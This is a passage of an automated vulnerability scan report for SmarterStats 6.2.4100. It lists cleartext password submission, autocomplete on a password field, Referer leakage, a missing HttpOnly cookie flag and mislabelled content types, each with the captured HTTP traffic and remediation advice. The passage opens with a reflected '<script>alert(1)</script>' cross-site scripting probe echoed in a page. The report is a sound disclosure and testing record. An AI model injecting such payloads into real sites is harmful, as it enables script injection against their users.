<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
Favorite Reports - Smarter
...[SNIP]...
<td class="rc">Top Pages37158<script>alert(1)</script>778be321152</td>
...[SNIP]...

3. Cleartext submission of password previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/login.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://SmarterStats 6.x (6.2.4100):9999/login.aspx

The form contains the following password field:

ctl00$MPH$txtPassword

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /login.aspx HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/default.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; STTTState=; STHashCookie={"CountsGuid":"770716793","TopBarSection":"AdminSettings"}

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4100.17146
Date: Thu, 05 May 2011 17:20:30 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 8691

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><ti
...[SNIP]...
<body class="Login" dir="ltr">
<form name="aspnetForm" method="post" action="login.aspx" id="aspnetForm">
<div>
...[SNIP]...
</div>
<input name="ctl00$MPH$txtPassword" type="password" id="ctl00_MPH_txtPassword" tabindex="3" style="width: 310px" />
</div>
...[SNIP]...

4. Password field with autocomplete enabled previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/login.aspx

Issue detail

The page contains a form with the following action URL:

http://SmarterStats 6.x (6.2.4100):9999/login.aspx

The form contains the following password field with autocomplete enabled:

ctl00$MPH$txtPassword

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

Response

5. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/Admin/GettingStarted/frmGettingStarted.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://SmarterStats 6.x (6.2.4100):9999/Admin/GettingStarted/frmGettingStarted.aspx?popup=true

The response contains the following links to other domains:

http://help.smartertools.com/SmarterStats/v6/default.aspx?p=SA&v=6.2.4100&lang=en-US&page=AdminGettingStartedActivate
http://help.smartertools.com/SmarterStats/v6/default.aspx?p=SA&v=6.2.4100&lang=en-US&page=AdminGettingStartedAddServer
http://help.smartertools.com/SmarterStats/v6/default.aspx?p=SA&v=6.2.4100&lang=en-US&page=AdminGettingStartedAddSite
http://help.smartertools.com/SmarterStats/v6/default.aspx?p=SA&v=6.2.4100&lang=en-US&page=AdminGettingStartedLoginToStats

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /Admin/GettingStarted/frmGettingStarted.aspx?popup=true HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/default.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STHashCookie={"CountsGuid":"99249445","TopBarSection":"UserWorkspace"}; SelectedLanguage=; STTTState=

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4100.17146
Date: Thu, 05 May 2011 17:57:09 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 9299

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head id="ctl00_head1"><title>
Getting Started
</title><script
...[SNIP]...
<td><a id="ctl00_MPH_Task1ListItemLabel" class="ListItemLabel" href="http://help.smartertools.com/SmarterStats/v6/default.aspx?p=SA&v=6.2.4100&lang=en-US&page=AdminGettingStartedActivate" target="_blank">Activate SmarterStats</a>
...[SNIP]...
<td><a id="ctl00_MPH_Task2ListItemLabel" class="ListItemLabel" href="http://help.smartertools.com/SmarterStats/v6/default.aspx?p=SA&v=6.2.4100&lang=en-US&page=AdminGettingStartedAddServer" target="_blank">Add a server (Enterprise only)</a>
...[SNIP]...
<td><a id="ctl00_MPH_Task3ListItemLabel" class="ListItemLabel" href="http://help.smartertools.com/SmarterStats/v6/default.aspx?p=SA&v=6.2.4100&lang=en-US&page=AdminGettingStartedAddSite" target="_blank">Add a site</a>
...[SNIP]...
<td><a id="ctl00_MPH_Task4ListItemLabel" class="ListItemLabel" href="http://help.smartertools.com/SmarterStats/v6/default.aspx?p=SA&v=6.2.4100&lang=en-US&page=AdminGettingStartedLoginToStats" target="_blank">Login as user</a>
...[SNIP]...

6. Cookie without HttpOnly flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/login.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; expires=Wed, 05-May-2021 17:20:54 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

POST /login.aspx HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/login.aspx
Origin: http://SmarterStats 6.x (6.2.4100):9999
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; STTTState=; STHashCookie={"CountsGuid":"770716793","TopBarSection":"AdminSettings"}
Content-Length: 949

ctl00%24ScriptManager1=ctl00%24UpdatePanel1%7Cctl00%24BPH%24LoginImageButton&__LASTFOCUS=&__EVENTTARGET=ctl00%24BPH%24LoginImageButton&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjU1NDEwNjEyDxYEHhBfX19SZX
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4100.17146
Date: Thu, 05 May 2011 17:20:54 GMT
X-AspNet-Version: 4.0.30319
Set-Cookie: SelectedLanguage=; expires=Wed, 05-May-2021 17:20:54 GMT; path=/
Set-Cookie: loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; expires=Wed, 05-May-2021 17:20:54 GMT; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/plain; charset=utf-8
Content-Length: 40
Connection: Close

1|#||4|15|pageRedirect||%2fdefault.aspx|

7. Content type incorrectly stated previous
There are 3 instances of this issue:

/Admin/frmViewReports.aspx
/Client/frmCustomReport.aspx
/default.aspx

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

7.1. http://SmarterStats 6.x (6.2.4100):9999/Admin/frmViewReports.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/Admin/frmViewReports.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=utf-8

The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /Admin/frmViewReports.aspx?Custom=False&ReportType=ReportItem&subReportName=ADMIN_Traffic_Summary HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/Admin/frmViewReports.aspx?Custom=False&ReportType=ReportItem&subReportName=ADMIN_Traffic_Summary
Origin: http://SmarterStats 6.x (6.2.4100):9999
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STTTState=; STHashCookie={"CountsGuid":"2104290842","TopBarSection":"AdminReports"}
Content-Length: 6845

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24MPH%24btnShowReport&__EVENTTARGET=ctl00%24MPH%24btnShowReport&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExNjEyNDk5NzAPFgYeEF9fX1Jlc3VsdEZhaWx1cmV
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4100.17146
Date: Thu, 05 May 2011 17:24:35 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 8566

1|#||4|620|updatePanel|ctl00_BPH_UpdatePanel2|
<div id="ctl00_BPH_btnSendEmail" class="BBButton"><a class="ButtonBarAnchor" target="_self" href="#" tabindex='0' onclick="EmailReportPopup(); return
...[SNIP]...

7.2. http://SmarterStats 6.x (6.2.4100):9999/Client/frmCustomReport.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/Client/frmCustomReport.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=utf-8

The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /Client/frmCustomReport.aspx?guid=15cd76d1ae4a4eef814c39d9a94fdc04 HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/Client/frmCustomReport.aspx?guid=15cd76d1ae4a4eef814c39d9a94fdc04
Origin: http://SmarterStats 6.x (6.2.4100):9999
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STTTState=; STHashCookie={"CountsGuid":"99249445","TopBarSection":"UserWorkspace"}
Content-Length: 5896

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24btnAdd&__EVENTTARGET=ctl00%24BPH%24btnAdd&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTEzMTYzNzU1MzUPFgYeEF9fX1Jlc3VsdEZhaWx1cmVlHhBfX19SZXN1b
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4100.17146
Date: Thu, 05 May 2011 17:28:15 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 13774

1|#||4|9|updatePanel|ctl00_UpdatePanel1|

       |5280|updatePanel|ctl00_MPH_updatePnl|


<div class='' id='ctl00_MPH_MP1'>
   <input type="hidden" name="ctl00$MPH$VisibleP
...[SNIP]...

7.3. http://SmarterStats 6.x (6.2.4100):9999/default.aspx previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/default.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=utf-8

The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /default.aspx HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/default.aspx
Origin: http://SmarterStats 6.x (6.2.4100):9999
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STTTState=; STHashCookie={"CountsGuid":"2104290842","TopBarSection":"AdminReports"}
Content-Length: 554

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24Split%24LP%24lnkUpdate&__EVENTTARGET=ctl00%24Split%24LP%24lnkUpdate&__EVENTARGUMENT=AdminReports%7C%2FAdmin%2FfrmViewReports.aspx%3FCustom%3DFal
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4100.17146
Date: Thu, 05 May 2011 17:24:36 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 8055

1|#||4|4816|updatePanel|ctl00_Split_LP_StyledUpdatePanel1|

<div class="PageTitle" id="SectionHeader">
   <div class="RoundedPageTitleLeft">
       <div class="RoundedPageTitleRight">

...[SNIP]...

Report generated by XSS.CX at Thu May 05 18:04:54 CDT 2011.